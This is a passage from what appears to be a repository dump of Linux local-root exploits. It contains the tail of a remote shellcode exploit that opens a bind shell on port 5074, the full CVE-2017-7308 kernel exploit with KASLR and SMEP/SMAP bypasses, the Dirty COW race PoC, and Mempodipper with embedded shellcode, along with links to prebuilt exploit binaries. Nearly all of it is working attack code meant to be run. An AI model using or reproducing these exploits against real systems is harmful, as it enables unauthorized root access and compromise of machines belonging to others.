c; 67 | 68 | while ((c = getopt(argc, argv, "ho:p:r:t:v")) > 0 ){ 69 | switch (c) { 70 | case 't': 71 | host = (char *)optarg; 72 | break; 73 | case 'o': 74 | retaddr += atol(optarg); 75 | break; 76 | case 'r': 77 | retaddr = atol(optarg); 78 | break; 79 | case 'p': 80 | port = atoi(optarg); 81 | break; 82 | case 'v': 83 | verbose++; 84 | break; 85 | case 'h': 86 | usage(argv[0]); 87 | case '?': 88 | case ':': 89 | exit(-1); 90 | } 91 | } 92 | 93 | printf("[*] connecting to %s port %d\n", host, port); 94 | printf("[*] trying retaddr = 0x%x; *4 = 0x%x\n", retaddr, retaddr*4); 95 | 96 | if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 97 | die("socket()"); 98 | 99 | dest.sin_family = AF_INET; 100 | dest.sin_port = htons(port); 101 | dest.sin_addr.s_addr = inet_addr(host); 102 | bzero(&(dest.sin_zero), 8); 103 | 104 | if (connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) < 0) 105 | die("connect()"); 106 | 107 | 108 | printf("[*] connected, sending exploit...\n"); 109 | 110 | off = sprintf(buf, evilmsg, retaddr); 111 | for (i = 0; i < sizeof(hellcode)-1; i++) 112 | sprintf(buf+off+i*3, "%%%02X", (unsigned char)hellcode[i]); 113 | 114 | sprintf(buf2, greet, strlen(buf)); 115 | 116 | if (verbose) { 117 | printf("%s", buf2); 118 | printf("%s\n", buf); 119 | } 120 | 121 | write(sock, buf2, strlen(buf2)); 122 | write(sock, buf, strlen(buf)); 123 | 124 | printf("[*] done... let's see if we have a shell...\n"); 125 | close(sock); 126 | 127 | if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 128 | die("socket()"); 129 | 130 | dest.sin_family = AF_INET; 131 | dest.sin_port = htons(5074); 132 | dest.sin_addr.s_addr = inet_addr(host); 133 | bzero(&(dest.sin_zero), 8); 134 | 135 | system("sleep 2"); 136 | if (connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) < 0) { 137 | printf("[-] better luck next time! try different offsets maybe.\n"); 138 | die("connect()"); 139 | } 140 | 141 | printf("[*] w000t, here's a shell kiddie...\n"); 142 | write(sock, "id;uname -a\n", 12); 143 | while (1) { 144 | FD_ZERO(&rset); 145 | FD_SET(sock,&rset); 146 | FD_SET(STDIN_FILENO,&rset); 147 | 148 | select(sock + 1, &rset, NULL, NULL, NULL); 149 | 150 | if (FD_ISSET(sock, &rset)) { 151 | i = read(sock, buf, BUF_SIZE - 1); 152 | if (i <= 0) { 153 | printf("[!] Connection closed.\n"); 154 | close(sock); 155 | exit(0); 156 | } 157 | buf[i] = 0; 158 | printf("%s", buf); 159 | } 160 | if (FD_ISSET(STDIN_FILENO, &rset)) { 161 | i = read(STDIN_FILENO, buf, BUF_SIZE - 1); 162 | if (i > 0) { 163 | buf[i]=0; 164 | write(sock, buf, i); 165 | } 166 | } 167 | } 168 | 169 | return 0; 170 | } 171 | -------------------------------------------------------------------------------- /12/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/12/exploit_32 -------------------------------------------------------------------------------- /12/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/12/exploit_64 -------------------------------------------------------------------------------- /13/exploit.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-7308. 2 | // Includes a SMEP & SMAP bypass. 3 | // Tested on 4.8.0-41-generic Ubuntu kernel. 4 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 5 | // 6 | // Usage: 7 | // user@ubuntu:~$ uname -a 8 | // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... 9 | // user@ubuntu:~$ gcc pwn.c -o pwn 10 | // user@ubuntu:~$ ./pwn 11 | // [.] starting 12 | // [.] namespace sandbox set up 13 | // [.] KASLR bypass enabled, getting kernel addr 14 | // [.] done, kernel text: ffffffff87000000 15 | // [.] commit_creds: ffffffff870a5cf0 16 | // [.] prepare_kernel_cred: ffffffff870a60e0 17 | // [.] native_write_cr4: ffffffff87064210 18 | // [.] padding heap 19 | // [.] done, heap is padded 20 | // [.] SMEP & SMAP bypass enabled, turning them off 21 | // [.] done, SMEP & SMAP should be off now 22 | // [.] executing get root payload 0x401516 23 | // [.] done, should be root now 24 | // [.] checking if we got root 25 | // [+] got r00t ^_^ 26 | // root@ubuntu:/home/user# cat /etc/shadow 27 | // root:!:17246:0:99999:7::: 28 | // daemon:*:17212:0:99999:7::: 29 | // bin:*:17212:0:99999:7::: 30 | // ... 31 | // 32 | // Andrey Konovalov 33 | 34 | #define _GNU_SOURCE 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | 63 | #define ENABLE_KASLR_BYPASS 1 64 | #define ENABLE_SMEP_SMAP_BYPASS 1 65 | 66 | // Will be overwritten if ENABLE_KASLR_BYPASS 67 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 68 | 69 | // Kernel symbol offsets 70 | #define COMMIT_CREDS 0xa5cf0ul 71 | #define PREPARE_KERNEL_CRED 0xa60e0ul 72 | #define NATIVE_WRITE_CR4 0x64210ul 73 | 74 | // Should have SMEP and SMAP bits disabled 75 | #define CR4_DESIRED_VALUE 0x407f0ul 76 | 77 | #define KMALLOC_PAD 512 78 | #define PAGEALLOC_PAD 1024 79 | 80 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 81 | 82 | typedef uint32_t u32; 83 | 84 | // $ pahole -C hlist_node ./vmlinux 85 | struct hlist_node { 86 | struct hlist_node * next; /* 0 8 */ 87 | struct hlist_node * * pprev; /* 8 8 */ 88 | }; 89 | 90 | // $ pahole -C timer_list ./vmlinux 91 | struct timer_list { 92 | struct hlist_node entry; /* 0 16 */ 93 | long unsigned int expires; /* 16 8 */ 94 | void (*function)(long unsigned int); /* 24 8 */ 95 | long unsigned int data; /* 32 8 */ 96 | u32 flags; /* 40 4 */ 97 | int start_pid; /* 44 4 */ 98 | void * start_site; /* 48 8 */ 99 | char start_comm[16]; /* 56 16 */ 100 | }; 101 | 102 | // packet_sock->rx_ring->prb_bdqc->retire_blk_timer 103 | #define TIMER_OFFSET 896 104 | 105 | // pakcet_sock->xmit 106 | #define XMIT_OFFSET 1304 107 | 108 | // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * 109 | 110 | void packet_socket_rx_ring_init(int s, unsigned int block_size, 111 | unsigned int frame_size, unsigned int block_nr, 112 | unsigned int sizeof_priv, unsigned int timeout) { 113 | int v = TPACKET_V3; 114 | int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); 115 | if (rv < 0) { 116 | perror("[-] setsockopt(PACKET_VERSION)"); 117 | exit(EXIT_FAILURE); 118 | } 119 | 120 | struct tpacket_req3 req; 121 | memset(&req, 0, sizeof(req)); 122 | req.tp_block_size = block_size; 123 | req.tp_frame_size = frame_size; 124 | req.tp_block_nr = block_nr; 125 | req.tp_frame_nr = (block_size * block_nr) / frame_size; 126 | req.tp_retire_blk_tov = timeout; 127 | req.tp_sizeof_priv = sizeof_priv; 128 | req.tp_feature_req_word = 0; 129 | 130 | rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); 131 | if (rv < 0) { 132 | perror("[-] setsockopt(PACKET_RX_RING)"); 133 | exit(EXIT_FAILURE); 134 | } 135 | } 136 | 137 | int packet_socket_setup(unsigned int block_size, unsigned int frame_size, 138 | unsigned int block_nr, unsigned int sizeof_priv, int timeout) { 139 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 140 | if (s < 0) { 141 | perror("[-] socket(AF_PACKET)"); 142 | exit(EXIT_FAILURE); 143 | } 144 | 145 | packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, 146 | sizeof_priv, timeout); 147 | 148 | struct sockaddr_ll sa; 149 | memset(&sa, 0, sizeof(sa)); 150 | sa.sll_family = PF_PACKET; 151 | sa.sll_protocol = htons(ETH_P_ALL); 152 | sa.sll_ifindex = if_nametoindex("lo"); 153 | sa.sll_hatype = 0; 154 | sa.sll_pkttype = 0; 155 | sa.sll_halen = 0; 156 | 157 | int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 158 | if (rv < 0) { 159 | perror("[-] bind(AF_PACKET)"); 160 | exit(EXIT_FAILURE); 161 | } 162 | 163 | return s; 164 | } 165 | 166 | void packet_socket_send(int s, char *buffer, int size) { 167 | struct sockaddr_ll sa; 168 | memset(&sa, 0, sizeof(sa)); 169 | sa.sll_ifindex = if_nametoindex("lo"); 170 | sa.sll_halen = ETH_ALEN; 171 | 172 | if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, 173 | sizeof(sa)) < 0) { 174 | perror("[-] sendto(SOCK_RAW)"); 175 | exit(EXIT_FAILURE); 176 | } 177 | } 178 | 179 | void loopback_send(char *buffer, int size) { 180 | int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 181 | if (s == -1) { 182 | perror("[-] socket(SOCK_RAW)"); 183 | exit(EXIT_FAILURE); 184 | } 185 | 186 | packet_socket_send(s, buffer, size); 187 | } 188 | 189 | int packet_sock_kmalloc() { 190 | int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 191 | if (s == -1) { 192 | perror("[-] socket(SOCK_DGRAM)"); 193 | exit(EXIT_FAILURE); 194 | } 195 | return s; 196 | } 197 | 198 | void packet_sock_timer_schedule(int s, int timeout) { 199 | packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); 200 | } 201 | 202 | void packet_sock_id_match_trigger(int s) { 203 | char buffer[16]; 204 | packet_socket_send(s, &buffer[0], sizeof(buffer)); 205 | } 206 | 207 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 208 | 209 | #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) 210 | #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) 211 | #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) 212 | 213 | #define V3_ALIGNMENT (8) 214 | #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) 215 | 216 | #define ETH_HDR_LEN sizeof(struct ethhdr) 217 | #define IP_HDR_LEN sizeof(struct iphdr) 218 | #define UDP_HDR_LEN sizeof(struct udphdr) 219 | 220 | #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) 221 | 222 | int oob_setup(int offset) { 223 | unsigned int maclen = ETH_HDR_LEN; 224 | unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + 225 | (maclen < 16 ? 16 : maclen)); 226 | unsigned int macoff = netoff - maclen; 227 | unsigned int sizeof_priv = (1u<<31) + (1u<<30) + 228 | 0x8000 - BLK_HDR_LEN - macoff + offset; 229 | return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); 230 | } 231 | 232 | void oob_write(char *buffer, int size) { 233 | loopback_send(buffer, size); 234 | } 235 | 236 | void oob_timer_execute(void *func, unsigned long arg) { 237 | oob_setup(2048 + TIMER_OFFSET - 8); 238 | 239 | int i; 240 | for (i = 0; i < 32; i++) { 241 | int timer = packet_sock_kmalloc(); 242 | packet_sock_timer_schedule(timer, 1000); 243 | } 244 | 245 | char buffer[2048]; 246 | memset(&buffer[0], 0, sizeof(buffer)); 247 | 248 | struct timer_list *timer = (struct timer_list *)&buffer[8]; 249 | timer->function = func; 250 | timer->data = arg; 251 | timer->flags = 1; 252 | 253 | oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); 254 | 255 | sleep(1); 256 | } 257 | 258 | void oob_id_match_execute(void *func) { 259 | int s = oob_setup(2048 + XMIT_OFFSET - 64); 260 | 261 | int ps[32]; 262 | 263 | int i; 264 | for (i = 0; i < 32; i++) 265 | ps[i] = packet_sock_kmalloc(); 266 | 267 | char buffer[2048]; 268 | memset(&buffer[0], 0, 2048); 269 | 270 | void **xmit = (void **)&buffer[64]; 271 | *xmit = func; 272 | 273 | oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); 274 | 275 | for (i = 0; i < 32; i++) 276 | packet_sock_id_match_trigger(ps[i]); 277 | } 278 | 279 | // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * 280 | 281 | void kmalloc_pad(int count) { 282 | int i; 283 | for (i = 0; i < count; i++) 284 | packet_sock_kmalloc(); 285 | } 286 | 287 | void pagealloc_pad(int count) { 288 | packet_socket_setup(0x8000, 2048, count, 0, 100); 289 | } 290 | 291 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 292 | 293 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 294 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 295 | 296 | void get_root_payload(void) { 297 | ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( 298 | ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0) 299 | ); 300 | } 301 | 302 | // * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * * 303 | 304 | #define SYSLOG_ACTION_READ_ALL 3 305 | #define SYSLOG_ACTION_SIZE_BUFFER 10 306 | 307 | unsigned long get_kernel_addr() { 308 | int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 309 | if (size == -1) { 310 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 311 | exit(EXIT_FAILURE); 312 | } 313 | 314 | size = (size / getpagesize() + 1) * getpagesize(); 315 | char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, 316 | MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 317 | 318 | size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); 319 | if (size == -1) { 320 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 321 | exit(EXIT_FAILURE); 322 | } 323 | 324 | const char *needle1 = "Freeing SMP"; 325 | char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); 326 | if (substr == NULL) { 327 | fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1); 328 | exit(EXIT_FAILURE); 329 | } 330 | 331 | for (size = 0; substr[size] != '\n'; size++); 332 | 333 | const char *needle2 = "ffff"; 334 | substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); 335 | if (substr == NULL) { 336 | fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2); 337 | exit(EXIT_FAILURE); 338 | } 339 | 340 | char *endptr = &substr[16]; 341 | unsigned long r = strtoul(&substr[0], &endptr, 16); 342 | 343 | r &= 0xfffffffffff00000ul; 344 | r -= 0x1000000ul; 345 | 346 | return r; 347 | } 348 | 349 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 350 | 351 | void exec_shell() { 352 | char *shell = "/bin/bash"; 353 | char *args[] = {shell, "-i", NULL}; 354 | execve(shell, args, NULL); 355 | } 356 | 357 | void fork_shell() { 358 | pid_t rv; 359 | 360 | rv = fork(); 361 | if (rv == -1) { 362 | perror("[-] fork()"); 363 | exit(EXIT_FAILURE); 364 | } 365 | 366 | if (rv == 0) { 367 | exec_shell(); 368 | } 369 | } 370 | 371 | bool is_root() { 372 | // We can't simple check uid, since we're running inside a namespace 373 | // with uid set to 0. Try opening /etc/shadow instead. 374 | int fd = open("/etc/shadow", O_RDONLY); 375 | if (fd == -1) 376 | return false; 377 | close(fd); 378 | return true; 379 | } 380 | 381 | void check_root() { 382 | printf("[.] checking if we got root\n"); 383 | 384 | if (!is_root()) { 385 | printf("[-] something went wrong =(\n"); 386 | return; 387 | } 388 | 389 | printf("[+] got r00t ^_^\n"); 390 | 391 | // Fork and exec instead of just doing the exec to avoid potential 392 | // memory corruptions when closing packet sockets. 393 | fork_shell(); 394 | } 395 | 396 | bool write_file(const char* file, const char* what, ...) { 397 | char buf[1024]; 398 | va_list args; 399 | va_start(args, what); 400 | vsnprintf(buf, sizeof(buf), what, args); 401 | va_end(args); 402 | buf[sizeof(buf) - 1] = 0; 403 | int len = strlen(buf); 404 | 405 | int fd = open(file, O_WRONLY | O_CLOEXEC); 406 | if (fd == -1) 407 | return false; 408 | if (write(fd, buf, len) != len) { 409 | close(fd); 410 | return false; 411 | } 412 | close(fd); 413 | return true; 414 | } 415 | 416 | void setup_sandbox() { 417 | int real_uid = getuid(); 418 | int real_gid = getgid(); 419 | 420 | if (unshare(CLONE_NEWUSER) != 0) { 421 | perror("[-] unshare(CLONE_NEWUSER)"); 422 | exit(EXIT_FAILURE); 423 | } 424 | 425 | if (unshare(CLONE_NEWNET) != 0) { 426 | perror("[-] unshare(CLONE_NEWUSER)"); 427 | exit(EXIT_FAILURE); 428 | } 429 | 430 | if (!write_file("/proc/self/setgroups", "deny")) { 431 | perror("[-] write_file(/proc/self/set_groups)"); 432 | exit(EXIT_FAILURE); 433 | } 434 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 435 | perror("[-] write_file(/proc/self/uid_map)"); 436 | exit(EXIT_FAILURE); 437 | } 438 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 439 | perror("[-] write_file(/proc/self/gid_map)"); 440 | exit(EXIT_FAILURE); 441 | } 442 | 443 | cpu_set_t my_set; 444 | CPU_ZERO(&my_set); 445 | CPU_SET(0, &my_set); 446 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 447 | perror("[-] sched_setaffinity()"); 448 | exit(EXIT_FAILURE); 449 | } 450 | 451 | if (system("/sbin/ifconfig lo up") != 0) { 452 | perror("[-] system(/sbin/ifconfig lo up)"); 453 | exit(EXIT_FAILURE); 454 | } 455 | } 456 | 457 | int main() { 458 | printf("[.] starting\n"); 459 | 460 | setup_sandbox(); 461 | 462 | printf("[.] namespace sandbox set up\n"); 463 | 464 | #if ENABLE_KASLR_BYPASS 465 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 466 | KERNEL_BASE = get_kernel_addr(); 467 | printf("[.] done, kernel text: %lx\n", KERNEL_BASE); 468 | #endif 469 | 470 | printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS); 471 | printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED); 472 | 473 | #if ENABLE_SMEP_SMAP_BYPASS 474 | printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4); 475 | #endif 476 | 477 | printf("[.] padding heap\n"); 478 | kmalloc_pad(KMALLOC_PAD); 479 | pagealloc_pad(PAGEALLOC_PAD); 480 | printf("[.] done, heap is padded\n"); 481 | 482 | #if ENABLE_SMEP_SMAP_BYPASS 483 | printf("[.] SMEP & SMAP bypass enabled, turning them off\n"); 484 | oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); 485 | printf("[.] done, SMEP & SMAP should be off now\n"); 486 | #endif 487 | 488 | printf("[.] executing get root payload %p\n", &get_root_payload); 489 | oob_id_match_execute((void *)&get_root_payload); 490 | printf("[.] done, should be root now\n"); 491 | 492 | check_root(); 493 | 494 | while (1) sleep(1000); 495 | 496 | return 0; 497 | } 498 | -------------------------------------------------------------------------------- /13/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/13/exploit_32 -------------------------------------------------------------------------------- /13/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/13/exploit_64 -------------------------------------------------------------------------------- /2/exploit.c: -------------------------------------------------------------------------------- 1 | // $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball 2 | 3 | // Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDATA Race Condition PoC (Write Access) 4 | 5 | #include //// pikachu 6 | #include //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball 7 | #include //// pokeball 8 | #include //// (___) 9 | #include //// (o o)_____/ 10 | #include //// @@ ` \ 11 | #include //// \ ____, /miltank 12 | #include //// // // 13 | #include //// ^^ ^^ 14 | #include //// mmap bc757000 15 | #include //// madvise 0 16 | ////////////////////////////////////////////// ptrace 0 17 | ////////////////////////////////////////////// miltank 18 | ////////////////////////////////////////////// 19 | int f ;// file descriptor 20 | void *map ;// memory map 21 | pid_t pid ;// process id 22 | pthread_t pth ;// thread 23 | struct stat st ;// file info 24 | ////////////////////////////////////////////// 25 | void *madviseThread(void *arg) {// madvise thread 26 | int i,c=0 ;// counters 27 | for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8 28 | c+=madvise(map,100,MADV_DONTNEED) ;// race condition 29 | printf("madvise %d\n\n",c) ;// sum of errors 30 | }// /madvise thread 31 | ////////////////////////////////////////////// 32 | int main(int argc,char *argv[]) {// entrypoint 33 | if(argc<3)return 1 ;// ./d file contents 34 | printf("%s \n\ 35 | (___) \n\ 36 | (o o)_____/ \n\ 37 | @@ ` \\ \n\ 38 | \\ ____, /%s \n\ 39 | // // \n\ 40 | ^^ ^^ \n\ 41 | ", argv[1], argv[2]) ;// dirty cow 42 | f=open(argv[1],O_RDONLY) ;// open read only file 43 | fstat(f,&st) ;// stat the fd 44 | map=mmap(NULL ,// mmap the file 45 | st.st_size+sizeof(long) ,// size is filesize plus padding 46 | PROT_READ ,// read-only 47 | MAP_PRIVATE ,// private mapping for cow 48 | f ,// file descriptor 49 | 0) ;// zero 50 | printf("mmap %lx\n\n",(unsigned long)map);// sum of error code 51 | pid=fork() ;// fork process 52 | if(pid) {// if parent 53 | waitpid(pid,NULL,0) ;// wait for child 54 | int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length) 55 | for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l 56 | for(o=0;o=2.6.39, 32-bit and 64-bit 9 | # Date: Jan 21, 2012 10 | # Author: zx2c4 11 | # Tested on: Gentoo, Ubuntu 12 | # Platform: Linux 13 | # Category: Local 14 | # CVE-2012-0056 15 | 16 | 17 | * Mempodipper 18 | * by zx2c4 19 | * 20 | * Linux Local Root Exploit 21 | * 22 | * Rather than put my write up here, per usual, this time I've put it 23 | * in a rather lengthy blog post: http://blog.zx2c4.com/749 24 | * 25 | * Enjoy. 26 | * 27 | * - zx2c4 28 | * Jan 21, 2012 29 | * 30 | * CVE-2012-0056 31 | */ 32 | 33 | #define _LARGEFILE64_SOURCE 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | char *socket_path = "/tmp/.sockpuppet"; 46 | int send_fd(int fd) 47 | { 48 | char buf[1]; 49 | struct iovec iov; 50 | struct msghdr msg; 51 | struct cmsghdr *cmsg; 52 | struct sockaddr_un addr; 53 | int n; 54 | int sock; 55 | char cms[CMSG_SPACE(sizeof(int))]; 56 | 57 | if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) 58 | return -1; 59 | memset(&addr, 0, sizeof(addr)); 60 | addr.sun_family = AF_UNIX; 61 | strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); 62 | if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) 63 | return -1; 64 | 65 | buf[0] = 0; 66 | iov.iov_base = buf; 67 | iov.iov_len = 1; 68 | 69 | memset(&msg, 0, sizeof msg); 70 | msg.msg_iov = &iov; 71 | msg.msg_iovlen = 1; 72 | msg.msg_control = (caddr_t)cms; 73 | msg.msg_controllen = CMSG_LEN(sizeof(int)); 74 | 75 | cmsg = CMSG_FIRSTHDR(&msg); 76 | cmsg->cmsg_len = CMSG_LEN(sizeof(int)); 77 | cmsg->cmsg_level = SOL_SOCKET; 78 | cmsg->cmsg_type = SCM_RIGHTS; 79 | memmove(CMSG_DATA(cmsg), &fd, sizeof(int)); 80 | 81 | if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len) 82 | return -1; 83 | close(sock); 84 | return 0; 85 | } 86 | 87 | int recv_fd() 88 | { 89 | int listener; 90 | int sock; 91 | int n; 92 | int fd; 93 | char buf[1]; 94 | struct iovec iov; 95 | struct msghdr msg; 96 | struct cmsghdr *cmsg; 97 | struct sockaddr_un addr; 98 | char cms[CMSG_SPACE(sizeof(int))]; 99 | 100 | if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) 101 | return -1; 102 | memset(&addr, 0, sizeof(addr)); 103 | addr.sun_family = AF_UNIX; 104 | strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); 105 | unlink(socket_path); 106 | if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0) 107 | return -1; 108 | if (listen(listener, 1) < 0) 109 | return -1; 110 | if ((sock = accept(listener, NULL, NULL)) < 0) 111 | return -1; 112 | 113 | iov.iov_base = buf; 114 | iov.iov_len = 1; 115 | 116 | memset(&msg, 0, sizeof msg); 117 | msg.msg_name = 0; 118 | msg.msg_namelen = 0; 119 | msg.msg_iov = &iov; 120 | msg.msg_iovlen = 1; 121 | 122 | msg.msg_control = (caddr_t)cms; 123 | msg.msg_controllen = sizeof cms; 124 | 125 | if ((n = recvmsg(sock, &msg, 0)) < 0) 126 | return -1; 127 | if (n == 0) 128 | return -1; 129 | cmsg = CMSG_FIRSTHDR(&msg); 130 | memmove(&fd, CMSG_DATA(cmsg), sizeof(int)); 131 | close(sock); 132 | close(listener); 133 | return fd; 134 | } 135 | 136 | int main(int argc, char **argv) 137 | { 138 | if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') { 139 | char parent_mem[256]; 140 | sprintf(parent_mem, "/proc/%s/mem", argv[2]); 141 | printf("[+] Opening parent mem %s in child.\n", parent_mem); 142 | int fd = open(parent_mem, O_RDWR); 143 | if (fd < 0) { 144 | perror("[-] open"); 145 | return 1; 146 | } 147 | printf("[+] Sending fd %d to parent.\n", fd); 148 | send_fd(fd); 149 | return 0; 150 | } 151 | 152 | printf("===============================\n"); 153 | printf("= Mempodipper =\n"); 154 | printf("= by zx2c4 =\n"); 155 | printf("= Jan 21, 2012 =\n"); 156 | printf("===============================\n\n"); 157 | 158 | int parent_pid = getpid(); 159 | if (fork()) { 160 | printf("[+] Waiting for transferred fd in parent.\n"); 161 | int fd = recv_fd(); 162 | printf("[+] Received fd at %d.\n", fd); 163 | if (fd < 0) { 164 | perror("[-] recv_fd"); 165 | return -1; 166 | } 167 | printf("[+] Assigning fd %d to stderr.\n", fd); 168 | dup2(2, 6); 169 | dup2(fd, 2); 170 | 171 | unsigned long address; 172 | if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') 173 | address = strtoul(argv[2], NULL, 16); 174 | else { 175 | printf("[+] Reading su for exit@plt.\n"); 176 | // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed. 177 | FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); 178 | char result[32]; 179 | result[0] = 0; 180 | fgets(result, 32, command); 181 | pclose(command); 182 | address = strtoul(result, NULL, 16); 183 | if (address == ULONG_MAX || !address) { 184 | printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); 185 | printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]); 186 | return 1; 187 | } 188 | printf("[+] Resolved exit@plt to 0x%lx.\n", address); 189 | } 190 | printf("[+] Calculating su padding.\n"); 191 | FILE *command = popen("su this-user-does-not-exist 2>&1", "r"); 192 | char result[256]; 193 | result[0] = 0; 194 | fgets(result, 256, command); 195 | pclose(command); 196 | unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char); 197 | unsigned long offset = address - su_padding; 198 | printf("[+] Seeking to offset 0x%lx.\n", offset); 199 | lseek64(fd, offset, SEEK_SET); 200 | 201 | #if defined(__i386__) 202 | // See shellcode-32.s in this package for the source. 203 | char shellcode[] = 204 | "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" 205 | "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" 206 | "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" 207 | "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" 208 | "\x80"; 209 | #elif defined(__x86_64__) 210 | // See shellcode-64.s in this package for the source. 211 | char shellcode[] = 212 | "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40" 213 | "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69" 214 | "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb" 215 | "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48" 